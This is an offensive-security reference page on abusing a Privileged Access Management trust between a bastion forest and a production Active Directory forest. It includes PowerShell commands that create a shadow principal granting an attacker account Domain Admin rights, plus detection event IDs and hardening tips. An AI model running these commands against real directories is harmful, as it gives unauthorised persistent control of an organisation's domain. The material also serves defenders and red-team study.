title: "Attack #71 โ PAM Trust Abuse (Bastion Forest)" description: "Get-ADTrust -Filter {TrustType -eq "ForestTransitive"} | Where ForestTransitive -eq $true netdom trust corp.local /domain:bastion.local /verify" category: active-directory subcategory: "Trust Abuse" tags: ["active-directory", "privilege-escalation"] tools: ["PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Nine/๐ถ Attack #71 โ PAM Trust Abuse (Bastion Forest).md"#
๐ถ Attack #71 โ PAM Trust Abuse (Bastion Forest)#
๐ How It Works#
Privileged Access Management (PAM) trust is a special forest trust type introduced in Server 2016 for bastion forest architectures. It enables time-limited group memberships via "shadow principals" โ users in the bastion forest get temporary membership in privileged groups of the production forest. If the bastion forest is compromised, or if the PAM trust is misconfigured, an attacker can abuse shadow principals to gain persistent, time-unlimited admin access to the production forest.
โ๏ธ Prerequisites#
| Requirement | Detail |
|---|---|
| PAM trust exists | Between production and bastion forest |
| Compromise bastion forest | Or misconfigured PAM trust |
๐ป Full Commands#
# โโ Enumerate PAM trust โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Get-ADTrust -Filter {TrustType -eq "ForestTransitive"} | Where ForestTransitive -eq $true
netdom trust corp.local /domain:bastion.local /verify
# โโ Find shadow principals โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Get-ADObject -SearchBase "CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local" \
-Filter * -Properties *
# โโ If bastion is compromised โ create shadow principal mapping โโโโโโโโโโโโโโ
# From bastion forest as DA:
New-ADObject -Type "msDS-ShadowPrincipal" -Name "shadow-DA" \
-Path "CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local" \
-OtherAttributes @{
'msDS-ShadowPrincipalSid' = (Get-ADGroup "Domain Admins" -Server corp.local).SID
'member' = (Get-ADUser attacker -Server bastion.local).DistinguishedName
}
# attacker in bastion forest now has DA rights in corp.local production forest
๐ก๏ธ Detection โ Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 4624 | Security Log | Authentication via PAM trust from bastion forest |
| 5136 | Security Log | Shadow principal creation/modification |
๐ Attack Chain Context#
[PAM Trust] โโโ Bastion Forest Compromise โ Production Forest Admin
โ
โโโโ โ ๏ธ Rare โ only exists in environments with Server 2016+ bastion forests
โโโโ ๐ Shadow principals = temporary group membership across trusts
โโโโ ๐ Defeated by: harden bastion forest, monitor shadow principal changes
โ Attack #71 โ PAM Trust Abuse complete.
๐ Category 9 โ Trust & Forest Attacks is now COMPLETE (4/4 attacks).